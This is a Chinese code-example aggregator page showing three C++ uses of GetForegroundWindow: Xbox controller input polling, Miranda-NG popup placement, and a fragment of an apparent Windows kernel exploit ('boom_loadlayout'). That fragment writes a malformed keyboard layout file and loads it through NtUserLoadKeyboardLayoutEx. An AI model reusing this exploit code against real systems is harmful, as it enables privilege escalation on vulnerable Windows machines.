您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ GetForegroundWindow函数代码示例

51自学网 2021-06-01 21:08:18
  C++
这篇教程C++ GetForegroundWindow函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中GetForegroundWindow函数的典型用法代码示例。如果您正苦于以下问题:C++ GetForegroundWindow函数的具体用法?C++ GetForegroundWindow怎么用?C++ GetForegroundWindow使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了GetForegroundWindow函数的29个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: parameters

			void	WindowsXbox360ControllerDevice::update( const unsigned long id )			{				Core::Message	parameters(5,0,0);				HWND			foreground = GetForegroundWindow();				if ( this->_window_handle == foreground )				{					parameters.add_integral_data(0,id);					parameters.add_integral_data(2,this->_id);					memcpy(&this->_previous_state,&this->_current_state,sizeof(XINPUT_STATE));					if ( XInputGetState(static_cast<DWORD>(this->_id),&this->_current_state)  ==  ERROR_SUCCESS )					{						parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLX));						parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLY));						trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION,parameters);						parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRX));						parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRY));						trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION,parameters);						if ( this->_previous_state.dwPacketNumber != this->_current_state.dwPacketNumber )						{							int	difference_left_x = this->_current_state.Gamepad.sThumbLX - this->_previous_state.Gamepad.sThumbLX;							int	difference_left_y = this->_current_state.Gamepad.sThumbLY - this->_previous_state.Gamepad.sThumbLY;							int	difference_right_x = this->_current_state.Gamepad.sThumbRX - this->_previous_state.Gamepad.sThumbRX;							int	difference_right_y = this->_current_state.Gamepad.sThumbRY - this->_previous_state.Gamepad.sThumbRY;							if ( abs(difference_left_x) > this->_deadzone  ||  abs(difference_left_y) > this->_deadzone )							{								parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_x));								parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_y));								trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION_CHANGED,parameters);							}							if ( abs(difference_right_x) > this->_deadzone  ||  abs(difference_right_y) > this->_deadzone )							{								parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_x));								parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_y));								trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION_CHANGED,parameters);							}							int	up = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP);							int	down = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN);							int	left = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT);							int	right = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT);							int	start = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_START) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_START);							int	back = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK);							int	left_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB);							int	right_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB);							int	left_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER);							int	right_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER);							int	a = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_A) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_A);							int	b = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_B) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_B);							int	x = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_X) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_X);							int	y = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y);							int	left_trigger = this->_current_state.Gamepad.bLeftTrigger - this->_previous_state.Gamepad.bLeftTrigger;							int	right_trigger = this->_current_state.Gamepad.bRightTrigger - this->_previous_state.Gamepad.bRightTrigger;							parameters.add_integral_data(3,0);							parameters.add_integral_data(4,0);							if ( up < 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_UP,parameters);							else if ( up > 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_DOWN,parameters);							if ( down < 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_UP,parameters);							else if ( down > 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_DOWN,parameters);							if ( left < 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_UP,parameters);							else if ( left > 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_DOWN,parameters);							if ( right < 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_UP,parameters);							else if ( right > 0 )								trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_DOWN,parameters);							if ( start < 0 )								trigger_event(Core::XBOX360_CONTROLLER_START_UP,parameters);							else if ( start > 0 )								trigger_event(Core::XBOX360_CONTROLLER_START_DOWN,parameters);							if ( back < 0 )								trigger_event(Core::XBOX360_CONTROLLER_BACK_UP,parameters);							else if ( back > 0 )								trigger_event(Core::XBOX360_CONTROLLER_BACK_DOWN,parameters);							if ( left_thumb < 0 )//.........这里部分代码省略.........
开发者ID:TEXStudio,项目名称:texengine,代码行数:101,


示例2: UpdatePopupPosition

bool UpdatePopupPosition(PopupWnd2 *prev, PopupWnd2 *wnd){    if (!wnd) return false;    if (!PopupOptions.ReorderPopups && wnd->isPositioned()) return false;    int POPUP_SPACING = PopupOptions.spacing;    POINT pos = { 0 };    SIZE prevSize = { 0 };    if (prev)        prevSize = prev->getSize();    // we have only one monitor (cant check it together with 1.if)    RECT rc;    if (GetSystemMetrics(SM_CMONITORS) == 1)        SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0);    else { // Multimonitor stuff (we have more then 1)        HWND hWnd;        if (PopupOptions.Monitor == MN_MIRANDA)            hWnd = pcli->hwndContactList;        else //  PopupOptions.Monitor == MN_ACTIVE            hWnd = GetForegroundWindow();        HMONITOR hMonitor = MonitorFromWindow(hWnd, MONITOR_DEFAULTTOPRIMARY);        MONITORINFOEX mnti;        mnti.cbSize = sizeof(MONITORINFOEX);        if (GetMonitorInfo(hMonitor, &mnti) == TRUE)            memcpy(&rc, &(mnti.rcWork), sizeof(RECT));        else            SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0);    }    rc.left += PopupOptions.gapLeft - POPUP_SPACING;    rc.right -= PopupOptions.gapRight - POPUP_SPACING;    rc.top += PopupOptions.gapTop - POPUP_SPACING;    rc.bottom -= PopupOptions.gapBottom - POPUP_SPACING;    if (PopupOptions.Spreading == SPREADING_VERTICAL) {        switch (PopupOptions.Position) {        case POS_UPPERLEFT:            pos.x = rc.left + POPUP_SPACING;            pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING;            break;        case POS_LOWERLEFT:            pos.x = rc.left + POPUP_SPACING;            pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING;            break;        case POS_LOWERRIGHT:            pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING;            pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING;            break;        case POS_UPPERRIGHT:            pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING;            pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING;            break;        }    }    else {        switch (PopupOptions.Position) {        case POS_UPPERLEFT:            pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING;            pos.y = rc.top + POPUP_SPACING;            break;        case POS_LOWERLEFT:            pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING;            pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING;            break;        case POS_LOWERRIGHT:            pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING;            pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING;            break;        case POS_UPPERRIGHT:            pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING;            pos.y = rc.top + POPUP_SPACING;            break;        }    }    wnd->setPosition(pos);    return true;}
开发者ID:kmdtukl,项目名称:miranda-ng,代码行数:80,


示例3: boom_loadlayout

VOID boom_loadlayout(){        KEYBDINPUT      kb={0};  INPUT           vInput={0};  HANDLE          hFile;  DWORD           dwFuckS0ny;  HKL             hKbd;  WCHAR           lpPath[MAX_PATH]={0};  WCHAR           lpLayoutFile[MAX_PATH]={L"C://Windows//System32//lSp0wns.boom111"};  LPVOID          lpShellPtr;      //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);    hFile = CreateFileW(lpLayoutFile,    GENERIC_READ|GENERIC_WRITE,    FILE_SHARE_READ|FILE_SHARE_WRITE,    0,    CREATE_ALWAYS,    0,0);  if( hFile == INVALID_HANDLE_VALUE )  {    printf(" /n[!!] Error:errorcode:%x/n",GetLastError());    exit(0);  }  WriteFile(  hFile,    fakeDll2,    sizeof(fakeDll2)-1,    &dwFuckS0ny,    NULL);  //printf("/n[+] Writing malformed kbd layout file /n/t/"%S/"/n/t[ %d ] bytes written/n",lpLayoutFile,dwFuckS0ny);  CloseHandle(hFile);  hFile = CreateFileW (lpLayoutFile,    GENERIC_READ,    FILE_SHARE_READ,    0,    OPEN_EXISTING,    0,0);  if( hFile == INVALID_HANDLE_VALUE )  {    printf(" /n[!!] Error/n");    exit(0);  }  hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );  printf("/n[+] Loading it...[ 0x%x ]/n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101   /*HKL NTAPI NtUserLoadKeyboardLayoutEx  (  IN HANDLE   Handle,  IN DWORD   offTable,  IN PUNICODE_STRING   puszKeyboardName,  IN HKL   hKL,  IN PUNICODE_STRING   puszKLID,  IN DWORD   dwKLID,  IN UINT   Flags     )  */  //win7
C++ GetForgeMasterType函数代码示例
C++ GetFontSize函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。